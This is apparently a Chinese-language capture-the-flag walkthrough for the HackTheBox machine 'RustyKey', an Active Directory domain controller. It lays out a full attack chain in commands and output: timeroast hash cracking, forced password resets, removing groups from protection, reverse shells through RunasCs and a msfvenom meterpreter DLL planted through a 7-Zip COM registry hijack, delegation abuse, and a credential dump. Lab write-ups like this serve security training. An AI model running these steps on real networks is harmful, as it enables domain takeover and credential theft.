1. Recon
扫描端口
/usr/lib/nmap/nmap -sT -min-rates 10000 -iL ip.txt -oA nmapscan/ports -Pn...
PORT STATE SERVICE53/tcp open domain88/tcp open kerberos-sec135/tcp open msrpc139/tcp open netbios-ssn389/tcp open ldap445/tcp open microsoft-ds464/tcp open kpasswd5593/tcp open http-rpc-epmap636/tcp open ldapssl3268/tcp open globalcatLDAP3269/tcp open globalcatLDAPssl5985/tcp open wsman将域名加入 hosts 文件解析
echo "10.10.11.75 rustykey.htb dc.rustykey.htb" >> /etc/hosts同步时钟
ntpdate 10.10.11.75配置 krb 文件
vim /etc/krb5.conf
[libdefaults] default_realm = RUSTYKEY.HTB dns_lookup_realm = false dns_lookup_kdc = false
[realms] RUSTYKEY.HTB = { kdc = 10.10.11.75 admin_server = 10.10.11.75 }
[domain_realm] .rustykey.htb = RUSTYKEY.HTB rustykey.htb = RUSTYKEY.HTB2. Foothold
已经题目给出的凭证,使用 nxc 判断目标服务支持的登录类型
获取 TGT 查看共享,并未找到有利用价值的信息
impacket-getTGT 'RUSTYKEY.HTB/rr.parker:8#t5HE8L!W3A'export KRB5CCNAME=rr.parker.ccache尝试 timeroast
nxc smb dc.rustykey.htb -M timeroast
将获取到的 hash 进行爆破 (需要 hashcat v7.1.2)
hashcat -a 0 -m 31300 hashs.txt /usr/share/wordlists/rockyou.txthashcat (v7.1.2) starting...$sntp-ms$f3d22c6f9277010a267f2843b03f777d$1c0111e900000000000af2164c4f434cecacd4f92e8d0536e1b8428bffbfcd0aecae1421e284a515ecae1421e284eb8c:Rusty88!...根据 RID 搜索到用户 IT-COMPUTER3.RUSTYKEY.HTB
信息收集一波
bloodhound-python -u 'IT-COMPUTER3' -p 'Rusty88!' -d rustykey.htb -ns 10.10.11.75 -c All --zip这边可见一条路线
但最终EE.REED 用户无法登陆,发现 [email protected] 属于 IT 组,该组同样可远程管理域控
且 [email protected] 对 [email protected] 有 ForceChangePassword 权限

AddSelf,将 IT-COMPUTER3$ 添加至 HELPDESK 组中
bloodyAD -d rustykey.htb -u IT-COMPUTER3$ -p 'Rusty88!' -k --dc-ip 10.10.11.75 --host dc.rustykey.htb add groupMember 'CN=HELPDESK,CN=USERS,DC=RUSTYKEY,DC=HTB' IT-COMPUTER3$ForceChangePassword,修改 BB.MORGAN 口令
bloodyAD -d rustykey.htb -u IT-COMPUTER3$ -p 'Rusty88!' -k --dc-ip 10.10.11.75 --host dc.rustykey.htb set password BB.MORGAN '1qaz!QAZ'直接登录发现加密类型不支持
发现 IT 在保护组之下
移出保护组
bloodyAD -d rustykey.htb -u IT-COMPUTER3$ -p 'Rusty88!' -k --dc-ip 10.10.11.75 --host dc.rustykey.htb remove groupMember 'CN=PROTECTED OBJECTS,CN=USERS,DC=RUSTYKEY,DC=HTB' IT登录 bb 用户
impacket-getTGT 'RUSTYKEY.HTB/bb.morgan:1qaz!QAZ'export KRB5CCNAME=bb.morgan.ccacheevil-winrm -i dc.rustykey.htb -r RUSTYKEY.HTB -k bb.morgan.ccache3. PrivEsc
在桌面中发现 internal.pdf
*Evil-WinRM* PS C:\Users\bb.morgan\Documents> ls ../Desktop
Directory: C:\Users\bb.morgan\Desktop
Mode LastWriteTime Length Name---- ------------- ------ -----a---- 6/4/2025 9:15 AM 1976 internal.pdf-ar--- 10/31/2025 11:02 AM 34 user.txt将其下载
*Evil-WinRM* PS C:\Users\bb.morgan\Documents> download ../Desktop/internal.pdf大致意思为,support 组有使用加解压功能的权利,且可以控制相关的注册表

修改 EE 口令,并将 SUPPORT 移出 PROTECTED 组
bloodyAD -d rustykey.htb -u IT-COMPUTER3$ -p 'Rusty88!' -k --dc-ip 10.10.11.75 --host dc.rustykey.htb set password EE.REED '1qaz!QAZ'bloodyAD -k --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' remove groupMember 'PROTECTED OBJECTS' 'SUPPORT'虽 EE.REED 与 BB.MORGAN 同属 PROTECTED 组,但将 EE.REED 移出该组后仍无法登录。

因此,尝试使用 Runascs.exe 反弹 shell
*Evil-WinRM* PS C:\Users\bb.morgan\Documents> upload RunasCS.exe*Evil-WinRM* PS C:\Users\bb.morgan\Documents> .\RunasCS.exe ee.reed 1qaz!QAZ powershell.exe -r YOUR_IP:YOUR_PORT监听端口,接收反弹 shell

递归查询与 zip 相关的 COM 组件,发现已有一个 C:\Program Files\7-Zip\7-zip.dll
PS C:\Windows\system32> reg query HKCR\CLSID /s /f "zip"reg query HKCR\CLSID /s /f "zip"
HKEY_CLASSES_ROOT\CLSID\{23170F69-40C1-278A-1000-000100020000} (Default) REG_SZ 7-Zip Shell Extension
HKEY_CLASSES_ROOT\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32 (Default) REG_SZ C:\Program Files\7-Zip\7-zip.dll
HKEY_CLASSES_ROOT\CLSID\{888DCA60-FC0A-11CF-8F0F-00C04FD7D062} (Default) REG_SZ Compressed (zipped) Folder SendTo Target FriendlyTypeName REG_EXPAND_SZ @%SystemRoot%\system32\zipfldr.dll,-10226
HKEY_CLASSES_ROOT\CLSID\{888DCA60-FC0A-11CF-8F0F-00C04FD7D062}\DefaultIcon (Default) REG_EXPAND_SZ %SystemRoot%\system32\zipfldr.dll
HKEY_CLASSES_ROOT\CLSID\{888DCA60-FC0A-11CF-8F0F-00C04FD7D062}\InProcServer32 (Default) REG_EXPAND_SZ %SystemRoot%\system32\zipfldr.dll
HKEY_CLASSES_ROOT\CLSID\{b8cdcb65-b1bf-4b42-9428-1dfdb7ee92af} (Default) REG_SZ Compressed (zipped) Folder Context Menu
HKEY_CLASSES_ROOT\CLSID\{b8cdcb65-b1bf-4b42-9428-1dfdb7ee92af}\InProcServer32 (Default) REG_EXPAND_SZ %SystemRoot%\system32\zipfldr.dll
HKEY_CLASSES_ROOT\CLSID\{BD472F60-27FA-11cf-B8B4-444553540000} (Default) REG_SZ Compressed (zipped) Folder Right Drag Handler
HKEY_CLASSES_ROOT\CLSID\{BD472F60-27FA-11cf-B8B4-444553540000}\InProcServer32 (Default) REG_EXPAND_SZ %SystemRoot%\system32\zipfldr.dll
HKEY_CLASSES_ROOT\CLSID\{E88DCCE0-B7B3-11d1-A9F0-00AA0060FA31}\DefaultIcon (Default) REG_EXPAND_SZ %SystemRoot%\system32\zipfldr.dll
HKEY_CLASSES_ROOT\CLSID\{E88DCCE0-B7B3-11d1-A9F0-00AA0060FA31}\InProcServer32 (Default) REG_EXPAND_SZ %SystemRoot%\system32\zipfldr.dll
HKEY_CLASSES_ROOT\CLSID\{ed9d80b9-d157-457b-9192-0e7280313bf0} (Default) REG_SZ Compressed (zipped) Folder DropHandler
HKEY_CLASSES_ROOT\CLSID\{ed9d80b9-d157-457b-9192-0e7280313bf0}\InProcServer32 (Default) REG_EXPAND_SZ %SystemRoot%\system32\zipfldr.dll
End of search: 14 match(es) found.制作带有反弹 shell 功能的 dll
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -f dll -o rev.dll监听
msf6 > use exploit/multi/handlermsf6 exploit(multi/handler) > set LPORT YOUR_PORTmsf6 exploit(multi/handler) > set LHOST YOUR_IPmsf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcpmsf6 exploit(multi/handler) > run上传恶意 dll,并用其替换 C:\Program Files\7-Zip\7-zip.dll
PS C:\Windows\system32> mkdir C:\tempPS C:\Windows\system32> cd C:\tempPS C:\Windows\system32> upload rev.dllPS C:\temp> reg add "HKLM\Software\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32" /ve /d "C:\temp\rev.dll" /fThe operation completed successfully.成功接收
继续使用 sharphound 收集域内信息
PS C:\Windows> upload sharphound.ps1PS C:\Windows> Import-Module .\SharpHound.ps1PS C:\Windows> Invoke-BloodHound -CollectionMethod All -ZipFileName C:\temp\res.zip发现 MM.TURNER 对 DC 具有 AddAllowToAct 权限
PS C:\Windows> Set-ADComputer -Identity DC -PrincipalsAllowedToDelegateToAccount IT-COMPUTER3$可以在此直接输出 flag
impacket-getST -spn 'cifs/DC.rustykey.htb' -impersonate backupadmin -dc-ip 10.10.11.75 -k 'RUSTYKEY.HTB/IT-COMPUTER3$:Rusty88!'转储 administrator hash
impacket-secretsdump -k -no-pass 'rustykey.htb/[email protected]'4. Reference
部分信息可能已经过时